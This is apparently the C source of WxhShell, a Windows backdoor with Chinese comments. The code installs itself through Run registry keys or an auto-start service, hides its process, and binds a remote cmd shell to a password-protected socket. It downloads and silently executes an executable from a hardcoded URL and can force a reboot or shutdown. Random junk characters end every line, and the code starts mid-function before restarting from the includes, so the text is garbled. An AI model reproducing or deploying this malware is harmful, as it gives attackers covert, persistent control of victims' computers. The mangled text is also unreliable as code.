    if(Boot(SHUTDOWN)) uD>=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >4jE[$p]"  
    else { W\k8f+Ke  
    closesocket(wsh); `,-mXxTNT  
    ExitThread(0); VwE4:/7YN  
    } HKXC=^}x'  
    break; +q}t%K5  
    } <;S$4tux  
  // 获取shell ![^pAEgx  
  case 's': { YND}P9 h  
    CmdShell(wsh); )Q'E^[Ua  
    closesocket(wsh); g w([08  
    ExitThread(0); A,9JbX  
    break; |MFAP!rycS  
  } Sy|GM~  
  // 退出 4MzQH-U>/  
  case 'x': { dHUbaf:e)T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ctz#9[|  
    CloseIt(wsh); GYx0U8MJ[e  
    break; )Xjn:  
    } Q+=pP'cV  
  // 离开 tO 8\} u4c  
  case 'q': { b$ 7 ]cE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ={ )85N  
    closesocket(wsh); o,`"*][wd  
    WSACleanup(); z~pp7  
    exit(1); Zk%@GOu\  
    break; x/umwT,ov  
        } `y3'v]  
  } :J`@@H  
  } Wr%ov6:  
Kd`(^  
  // 提示信息 y|}~"^+T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {siOa%;*  
} z#GZb   
  } C7FQc {  
I "AjYv4R  
  return; Cf=H~&`Z  
} [i`  
LpU}.  
// shell模块句柄 HU $"o6ap  
int CmdShell(SOCKET sock) .J)TIc__|A  
{ q@ -B+  
STARTUPINFO si; E$)|Kv^  
ZeroMemory(&si,sizeof(si)); WR)=VE   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^)Hf%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Plp.\N%f3  
PROCESS_INFORMATION ProcessInfo; N&NBn(  
char cmdline[]="cmd"; }`B .(3n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _]`7et\=  
  return 0; [s>3xWZ+a  
} fY!?rZ)$  
?{S>%P A_B  
// 自身启动模式 .>B'oD  
int StartFromService(void) [tpiU'/Zl  
{ x%}D+2ro-t  
typedef struct W`;;fJe  
{ kh W.  
  DWORD ExitStatus; zeHF-_{  
  DWORD PebBaseAddress; U>E: Ub0r  
  DWORD AffinityMask; fwFJe(.  
  DWORD BasePriority; xol%\$|  
  ULONG UniqueProcessId; <k:I2LF_  
  ULONG InheritedFromUniqueProcessId; I\. |\^  
}   PROCESS_BASIC_INFORMATION; 5naFnm7%  
1Z# $X`  
PROCNTQSIP NtQueryInformationProcess; gJ6`Kl985O  
LTWkHy x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V)^Xz8H_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,MCTb'=G  
+`HMl;0m  
  HANDLE             hProcess; #d-({blo<  
  PROCESS_BASIC_INFORMATION pbi; o+a=  
H#TkIFo]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P8d  
  if(NULL == hInst ) return 0; ?F"o+]i+^  
G(&[1V%x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,9P-<P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U**8^:*y#:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "6f`hy  
+/ukS6>gr  
  if (!NtQueryInformationProcess) return 0; M~:_^B  
+Q5 O$8i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *-T.xo  
  if(!hProcess) return 0; cE]z Tu?!  
 =}`d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E3uu vQ#|  
Je6[q  
  CloseHandle(hProcess); 2Vx4"fHP#N  
y(COB6r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pd91<L  
if(hProcess==NULL) return 0; z#tIa  
iq; | i!  
HMODULE hMod; C*Vm}|)  
char procName[255]; {*yvvb  
unsigned long cbNeeded; 0JlNUO5Nt  
3(BL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X0.H(p#s  
'}Fe&%  
  CloseHandle(hProcess); yfG;OnkZ  
pR S!  
if(strstr(procName,"services")) return 1; // 以服务启动 o :d7IL  
ppAbG,7  
  return 0; // 注册表启动 0?7yM:!l  
} PIri|ZS  
C >*z^6Gz  
// 主模块 is<:}z  
int StartWxhshell(LPSTR lpCmdLine) .vu7$~7  
{ \o>-L\`O  
  SOCKET wsl; C]ss'  
BOOL val=TRUE; gu k,GF9p]  
  int port=0; 2 2v"?*  
  struct sockaddr_in door; V!Wy[u  
UleT9 [M  
  if(wscfg.ws_autoins) Install(); $BwWQ?lp  
hi8q?4jE  
port=atoi(lpCmdLine); ;+hh|NiQ  
Bz]tKJ  
if(port<=0) port=wscfg.ws_port; )4g_S?l=  
^j<v~GT x+  
  WSADATA data; ,->ihxf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {T4_Xn-I  
qed_PsI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7 Lm9I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :5k* kx#y  
  door.sin_family = AF_INET; q[$>\Nfg>B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ytcLx77`:  
  door.sin_port = htons(port); <XeDJ8 '  
N^;lp<{6?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HWjJ.;k}a  
closesocket(wsl); ^z *0  
return 1; uKJ:)oyaCP  
} 4$Ai!a  
B {Cm`f8E  
  if(listen(wsl,2) == INVALID_SOCKET) { R$:-~<O  
closesocket(wsl); @@ Q4{o  
return 1; zIc6L3w$  
} DsdM:u*s  
  Wxhshell(wsl); 6r~9$IM  
  WSACleanup(); b^W&-Hh  
IL@yGuO,  
return 0; C @Ts\);^  
K$S0h-?9]O  
} $[T ~<I  
c~T {;  
// 以NT服务方式启动 :w^:Z$-hf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :|j[{;asY  
{ ~?/7: S  
DWORD   status = 0; s\*p|vc  
  DWORD   specificError = 0xfffffff; $xu2ZBK  
Zo=,!@q(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ab$E@H #  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )q$[uS_1[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4phCn5  
  serviceStatus.dwWin32ExitCode     = 0; QYA4C1h'  
  serviceStatus.dwServiceSpecificExitCode = 0; #(] D]f[@  
  serviceStatus.dwCheckPoint       = 0; r]e{~v/  
  serviceStatus.dwWaitHint       = 0; k5RzW4zq;  
SzLlJUVX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HYl+xH'.j  
  if (hServiceStatusHandle==0) return; %pZT3dcK  
"@x( 2(Y&  
status = GetLastError(); i;HXz`vT7  
  if (status!=NO_ERROR) WyV4p  
{ r9f- C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \9+,ynJH8z  
    serviceStatus.dwCheckPoint       = 0; dX?j /M-  
    serviceStatus.dwWaitHint       = 0; G]B0LUT6c  
    serviceStatus.dwWin32ExitCode     = status; >\JP X  
    serviceStatus.dwServiceSpecificExitCode = specificError; oIrc))j,$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h%j4(v}r{C  
    return; BFNO yv  
  } ,88B@a  
dz#"9i5b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }cz58%  
  serviceStatus.dwCheckPoint       = 0; /IirTmFK  
  serviceStatus.dwWaitHint       = 0; RY5e%/bg~U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wU%uO/sU9  
} Md6u4c  
~criZI/  
// 处理NT服务事件,比如:启动、停止 4f j}d.?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) orJ|Q3c)d  
{ hTBJ\1 -  
switch(fdwControl) {JWixbA  
{ T)tr"<F5NP  
case SERVICE_CONTROL_STOP: [)`*k#.=  
  serviceStatus.dwWin32ExitCode = 0; yK{P%oh)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8mr fs%_  
  serviceStatus.dwCheckPoint   = 0; X}[1Y3~y  
  serviceStatus.dwWaitHint     = 0;  ZPf&4#|  
  { CX#d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !d##q)D f?  
  } 6UIS4 _   
  return; Qz`evvH  
case SERVICE_CONTROL_PAUSE: q`AsnAzo&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $;g*s?F*  
  break; ceg\lE:8  
case SERVICE_CONTROL_CONTINUE: lR?1,yLp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _3 !s{  
  break; Z@q1&}D!  
case SERVICE_CONTROL_INTERROGATE: )+FnwW  
  break; <_/etw86Z  
}; /:!sn-(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mx}r! Q  
} 0o/;cBH  
,$]m1|t@z  
// 标准应用程序主函数 +^:uPW^U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ufR|V-BWx  
{ d Np%=gIj  
hbXmIst  
// 获取操作系统版本 YWPkVvI  
OsIsNt=GetOsVer(); KMT$/I{p,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uJ"#j X  
drCL7.j#L  
  // 从命令行安装 %~eu&\os  
  if(strpbrk(lpCmdLine,"iI")) Install(); o5],c9R9b  
~,W|i  
  // 下载执行文件 tT`S" 9T  
if(wscfg.ws_downexe) { 6@Q; LV+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .WglLUJ:Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); L <  
} "P5,p"k:)  
&IQNsJL!e  
if(!OsIsNt) { L{sFR^-G  
// 如果时win9x,隐藏进程并且设置为注册表启动  ^Oj^7.T+  
HideProc(); j+.E#:tu"  
StartWxhshell(lpCmdLine); &*Z)[Bl  
} r 8N<<^  
else NX8w(~r,:  
  if(StartFromService()) 1% @i4  
  // 以服务方式启动 gC6Gm':c  
  StartServiceCtrlDispatcher(DispatchTable); yFo8 x[  
else TGpdl`k\T  
  // 普通方式启动 =)#XZ[#F  
  StartWxhshell(lpCmdLine); B"7~[,he  
uxW |&q  
return 0; $y)tcVc  
} %PVu>^  
y]Q/(O  
][f0ZMa  
J^kSp  
=========================================== @$b7 eu  
b#(QZ  
_J>Ik2EF  
:>y5'q@R  
dn5t7D^ x  
p3%cb?G%w  
" @&h_+|:-  
Q{hK+z`D  
#include <stdio.h> &Ai +t2  
#include <string.h> 6_EfOD9  
#include <windows.h> ?:PF;\U  
#include <winsock2.h> %AMF6l[  
#include <winsvc.h> _=w=!U&W  
#include <urlmon.h> CS^|="Zs  
787i4h:71  
#pragma comment (lib, "Ws2_32.lib") nQw, /L k  
#pragma comment (lib, "urlmon.lib") ylmVmHmc  
* se),CP!s  
#define MAX_USER   100 // 最大客户端连接数 ~@^pX*%i  
#define BUF_SOCK   200 // sock buffer OoOwEV2p_  
#define KEY_BUFF   255 // 输入 buffer <SRSJJR|(  
m7,"M~\pX  
#define REBOOT     0   // 重启 m,J9:S<5;  
#define SHUTDOWN   1   // 关机 FOa2VP%  
s 4 Uk5<  
#define DEF_PORT   5000 // 监听端口 Si;eBPFH  
kKQD$g.z6  
#define REG_LEN     16   // 注册表键长度 \n0Gr\:  
#define SVC_LEN     80   // NT服务名长度 ZYl*-i&~?  
N[=R$1\Z  
// 从dll定义API o`jVd,aj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K`R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R*"zLJP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &'5 j!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }e1]Ib!  
$+ \JT/eG9  
// wxhshell配置信息 ()$tP3 o  
struct WSCFG { w3Qil[rg  
  int ws_port;         // 监听端口 e=6C0fr  
  char ws_passstr[REG_LEN]; // 口令 #w[Ie+  
  int ws_autoins;       // 安装标记, 1=yes 0=no \T!tUd  
  char ws_regname[REG_LEN]; // 注册表键名 $8_b[~%2  
  char ws_svcname[REG_LEN]; // 服务名 m!<uY?,hf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w##$SaTI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c+TCC%AJQI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d _Y7/_i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5DeAH ;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mVyF M -`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _`]YWvh  
^^*dHWHn<  
}; ID=^497  
W GMEZx  
// default Wxhshell configuration ADZU?7)  
struct WSCFG wscfg={DEF_PORT, PwxRu  
    "xuhuanlingzhe", "IdN*K  
    1, 6c#1Do(W+  
    "Wxhshell", SQBe}FlktK  
    "Wxhshell", 9r,7>#IF  
            "WxhShell Service", oGZ%w4T  
    "Wrsky Windows CmdShell Service", lGN{1djT  
    "Please Input Your Password: ", [)p>pA2GZj  
  1, )6-!,D0db  
  "http://www.wrsky.com/wxhshell.exe", }W"/h)q  
  "Wxhshell.exe" .GDNd6[K7  
    }; (^Hpe5h&  
z/S}z4o/  
// 消息定义模块 a^GJR]] {  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]$WwPDZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $]]|#}J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <bOi}  
char *msg_ws_ext="\n\rExit."; $~.'Tnk)  
char *msg_ws_end="\n\rQuit."; >BlF< d`X  
char *msg_ws_boot="\n\rReboot..."; 7%^ /Jm  
char *msg_ws_poff="\n\rShutdown..."; g)~"-uQQ  
char *msg_ws_down="\n\rSave to "; ER$qL"H U  
+dSO?Y]  
char *msg_ws_err="\n\rErr!"; Xkb\fR6<K  
char *msg_ws_ok="\n\rOK!"; -Fs<{^E3j  
9r hl2E  
char ExeFile[MAX_PATH]; eB*0})  
int nUser = 0; h}jE=T5Hc  
HANDLE handles[MAX_USER]; kC-OZVoO  
int OsIsNt; >a2i%j/T  
Sy`7})[  
SERVICE_STATUS       serviceStatus; 5"9!kZ(<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  [E|%  
iwnFCZVS  
// 函数声明 rXu^]CK *G  
int Install(void); .~dNzonq  
int Uninstall(void); ;JQ;LbEn  
int DownloadFile(char *sURL, SOCKET wsh); ]eZrb%B .  
int Boot(int flag); R<x~KJ11c  
void HideProc(void); z 7g=L@   
int GetOsVer(void); =?g B@vS  
int Wxhshell(SOCKET wsl); OB5`a,5dI  
void TalkWithClient(void *cs); > hmBV7nR  
int CmdShell(SOCKET sock); \$[S=&E  
int StartFromService(void); N1i%b,:3  
int StartWxhshell(LPSTR lpCmdLine); "_T8Km008  
DF!*S{)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0_faJjTbP;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <mdHca  
:NPnwX8w  
// 数据结构和表定义 E#m|Sq  
SERVICE_TABLE_ENTRY DispatchTable[] = #)N}F/Od^  
{ 5WvtvSO  
{wscfg.ws_svcname, NTServiceMain}, /V@9!  
{NULL, NULL} FpM0%   
}; %gE*x #  
u =%1%p,  
// 自我安装 },LO]N|  
int Install(void) a"&Gs/QKSC  
{ w4e(p3  
  char svExeFile[MAX_PATH]; j>-O'CO  
  HKEY key; 7[?{wbq  
  strcpy(svExeFile,ExeFile); "nEfk{g  
<*5 5d2  
// 如果是win9x系统,修改注册表设为自启动 -3On^Wj]  
if(!OsIsNt) { Zf~Z&"C)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q9h;`G 7t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #?EmC]N7  
  RegCloseKey(key); 48Z0aA~+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CDU$Gi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %qqX-SF0C  
  RegCloseKey(key); .~t.B!rVSB  
  return 0; {gwJ>]z"e  
    } ,4tuWO)"  
  } (Ld,<!eN0  
} 0<C]9[l  
else {  &@h(6  
V*1hoC#  
// 如果是NT以上系统,安装为系统服务 aBonq]W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .>Fy ]Cqoh  
if (schSCManager!=0) )UgLs|G~  
{ ~SN *  
  SC_HANDLE schService = CreateService 85GU~.  
  ( C=>IJ'G  
  schSCManager, [uD G;We=  
  wscfg.ws_svcname, 5b5Hc Inu  
  wscfg.ws_svcdisp, R *uwp'@  
  SERVICE_ALL_ACCESS, TKBW2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q' qz(G0  
  SERVICE_AUTO_START, =AIeYUh  
  SERVICE_ERROR_NORMAL, M6o"|\  
  svExeFile, $vK(Qm  
  NULL, +XP9=U*g  
  NULL, 2j <Y>Y  
  NULL, n3Q Rn^  
  NULL, LW '3m5  
  NULL 1 ms(03dp  
  ); VW/ICX~"d  
  if (schService!=0) &K.js  
  { yrVk$k#6}  
  CloseServiceHandle(schService); vQ",rP%  
  CloseServiceHandle(schSCManager); U8gf_R'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A5[iFT>  
  strcat(svExeFile,wscfg.ws_svcname); M\rZr3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kt;uB X3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]5Mq^@mD'  
  RegCloseKey(key); F2:nL`]b[  
  return 0; g<(\#F}/  
    } FZ~^cK9g:  
  } |.EC>D /  
  CloseServiceHandle(schSCManager); "F+m}GJ=a  
} QxI^Bx  
} <tx`#,  
(@&+?A"6`  
return 1; QRKr2:o{  
} 64R~ $km  
ly~tB LH}  
// 自我卸载 zz_(*0,Qcr  
int Uninstall(void) NwbX]pDT  
{ r&_bk Y%  
  HKEY key; VkJBqRzBOa  
JK y0 6I  
if(!OsIsNt) { f5o##ia7:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @D@_PA)e(  
  RegDeleteValue(key,wscfg.ws_regname); cy @",z  
  RegCloseKey(key); dlJc~|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G~nQR qv  
  RegDeleteValue(key,wscfg.ws_regname); !<#,M9 EA&  
  RegCloseKey(key); .TpM3b#r  
  return 0; vg;9"A!(  
  } jH~VjE>  
} IJ E{JH  
} yYN_]& ag  
else { %  db  
V3v/h V:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J-d>#'Wb|  
if (schSCManager!=0) *1c1XN<7  
{ e61e|hoX\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q)rxv7Iu\  
  if (schService!=0) ]7DS>%m Y(  
  { Yx"un4  
  if(DeleteService(schService)!=0) { ]b'" l  
  CloseServiceHandle(schService); Bb9/nsbE  
  CloseServiceHandle(schSCManager); p|9Eue3j2  
  return 0; %s* F~E  
  } ZXH{9hxd  
  CloseServiceHandle(schService); yp l`vJ]X  
  } n>k1 D  
  CloseServiceHandle(schSCManager); -ztgirU  
} _Qd C V`  
} &Fy})/F3v  
6O\a\z  
return 1; h"ZR`?h  
} L)yc_ d5  
@tzL4hy%^j  
// 从指定url下载文件 ={[9kR i  
int DownloadFile(char *sURL, SOCKET wsh) Ce`#J6lT  
{ #Pr w2u  
  HRESULT hr; )y"8Bx=x4  
char seps[]= "/"; Gk-49|qIV  
char *token; VbfTdRD-  
char *file; 2C[xrZa^  
char myURL[MAX_PATH]; o_R_  
char myFILE[MAX_PATH]; .{,fb  
,0\P r  
strcpy(myURL,sURL); d8ck].m=  
  token=strtok(myURL,seps); Aw"Y_S8.  
  while(token!=NULL) /ht-]Js$G  
  { *Eg[@5;QA  
    file=token; uRCZGg&V?#  
  token=strtok(NULL,seps); ?M9?GodbP.  
  } JrNqS[c/  
pKNrEq  
GetCurrentDirectory(MAX_PATH,myFILE); CXd/M~:!  
strcat(myFILE, "\\"); P={8qln,X  
strcat(myFILE, file); vugGMP;D(  
  send(wsh,myFILE,strlen(myFILE),0); x=YV*  
send(wsh,"...",3,0); Vqp 3'=No  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N'n\_x  
  if(hr==S_OK) :878q TB  
return 0; KvY1bMU!  
else *|Bt!  
return 1; n7VQi+i'  
u{8:VX  
} Bv{DZ?{s  
=.(~`ici~  
// 系统电源模块 ;Q\MH t*  
int Boot(int flag) " 3tk"#.#  
{ ;Z!x\{- L  
  HANDLE hToken; 9^g?/8  
  TOKEN_PRIVILEGES tkp; I4(z'C  
2F#DJN#  
  if(OsIsNt) {  1 .Nfl@]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >SHP,><H/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X[J?  
    tkp.PrivilegeCount = 1; vM?jm! nd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H$rNT/C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]US  
if(flag==REBOOT) { h[>Puoz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?.Lq`~T`  
  return 0; }s@vN8C  
} A; Av0@w  
else { #u/5 nm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oef]  
  return 0; <~ }NxY\5  
} R "qt}4m  
  } H6Q!~o\"H  
  else { e N^6gub  
if(flag==REBOOT) { K9QC$b9(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WPDi)U X  
  return 0; Z3O_K  
} Lq]t6o ]  
else { LO@o`JF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bzyy;`;6Q~  
  return 0; UH`cWVLpr  
} XCj8QM.o  
} A@ZsL  
'#NDR:J"  
return 1; Lk2;\D>  
} "U|u-ka8B  
:wY(</H  
// win9x进程隐藏模块 v{;^>"5o  
void HideProc(void) bj ,cU)t0  
{ -9; XNp  
"5@\"L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); se*!OiOt  
  if ( hKernel != NULL ) 2Dw}o;1'  
  { X}ft7;Jpy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (w1$m8`=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s(pNg?R  
    FreeLibrary(hKernel); d8J(~$tXQN  
  } Qb#iT}!p%  
+o|I@7f  
return; Xk`'m[  
} MQMc=Z4d  
,A[NcFdCB  
// 获取操作系统版本 W.nr&yiQ  
int GetOsVer(void) qCy SL lp0  
{ D_M73s!U  
  OSVERSIONINFO winfo; Kb~i9x&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #k|f%!-Vo  
  GetVersionEx(&winfo); -0>s`ruor  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '.*`PN5mDq  
  return 1; #ba7r ]Xu  
  else ?wpl 88z  
  return 0; ImsyyeY]  
} wxE'h~+  
NX8. \Pf#  
// 客户端句柄模块 _18Aek   
int Wxhshell(SOCKET wsl) A7R [~  
{ PYyT#AcW2  
  SOCKET wsh; AHet,N  
  struct sockaddr_in client; l,ic-Y1  
  DWORD myID; @umn#*  
4P?R "Lk  
  while(nUser<MAX_USER) YQ`88 z  
{ ( "wmc"qH  
  int nSize=sizeof(client); ~F[JupU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hVW1l&s  
  if(wsh==INVALID_SOCKET) return 1; B3W2?5p  
\kP1Jr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G;AJBs>Y}  
if(handles[nUser]==0) ;N^4R$Q.  
  closesocket(wsh); .#LvvAeh  
else g 9AA)Ykp  
  nUser++; B4{F)Zb  
  } & Tkl-{I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u-R;rf5%k  
6ag0c&k  
  return 0; ~\u~>mtchu  
} 9#1Jie$  
G8lTIs4u;  
// 关闭 socket tN0?  
void CloseIt(SOCKET wsh) :'Tq5kE  
{ R= .UbY  
closesocket(wsh); 5`)[FCQ  
nUser--; <q:2' 4o  
ExitThread(0); 8TCbEPS@Q  
} ZM_-g4[H  
FDTC?Ii O  
// 客户端请求句柄 $k^& X `  
void TalkWithClient(void *cs) ?OC&=}  
{ d RHw]!.  
mw*KLMo42  
  SOCKET wsh=(SOCKET)cs; ?i$MinK  
  char pwd[SVC_LEN]; @=qWwt4~  
  char cmd[KEY_BUFF]; 2#@-t{\3-p  
char chr[1]; G \|P3j  
int i,j; &H/3@A3  
Q+p9^_r  
  while (nUser < MAX_USER) { tS[%C)  
I @ D<rjR  
if(wscfg.ws_passstr) { 3XhLn/@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c>+hY5?C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wUH:l  
  //ZeroMemory(pwd,KEY_BUFF); @6V kNe9  
      i=0; eKe[]/}e9  
  while(i<SVC_LEN) { 4o kZ  
%";ap8J04F  
  // 设置超时 +<'>~lDg  
  fd_set FdRead; h y"=)n(  
  struct timeval TimeOut; YbJB.;qK  
  FD_ZERO(&FdRead); r TK)jxklX  
  FD_SET(wsh,&FdRead); Vkl]&mYRz  
  TimeOut.tv_sec=8; n!L}4Nmp  
  TimeOut.tv_usec=0; @wh-.M D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UVD*GsBk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yH(%*-S  
e/zz.cd){  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4R& pb1eF  
  pwd=chr[0]; B:fulgh2ni  
  if(chr[0]==0xd || chr[0]==0xa) { K}QZdN']  
  pwd=0; i([|@Y=  
  break; sPRs;to-  
  } QLb!e"C  
  i++; 95*=& d  
    } }*VRj;ff  
|M|>/U 8  
  // 如果是非法用户,关闭 socket bf/z T0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xbc:Vr  
} ;M5]XCP k  
Oe&gTXo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K%YR; )5A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C:RA(  
\iAs  
while(1) { :U6Q==B$_  
8>'vzc/* >  
  ZeroMemory(cmd,KEY_BUFF); 7*@BCu6  
i.''\  
      // 自动支持客户端 telnet标准   +m1*ou'K  
  j=0; ^\w!D{Y7Q  
  while(j<KEY_BUFF) { ye`-U?7.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^"+Vx9H"{  
  cmd[j]=chr[0]; /e7BW0$1  
  if(chr[0]==0xa || chr[0]==0xd) { 6f&qtJQ<A  
  cmd[j]=0;  \1?:  
  break; ?{r-z3@ N  
  } Q\aC:68  
  j++; ),Igu  
    } q }hHoSG]=  
ADB,gap  
  // 下载文件 lz(}N7SLa  
  if(strstr(cmd,"http://")) { zZiga q"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `FmRoMW9+  
  if(DownloadFile(cmd,wsh)) T_oL/x_;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M! uE#|  
  else x*wr8$@J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Kssc lSD1  
  } F<(?N!C?@  
  else { 0(+dXzcwM  
9C: V i  
    switch(cmd[0]) { j!K{1s[.y  
  Duq.`XO  
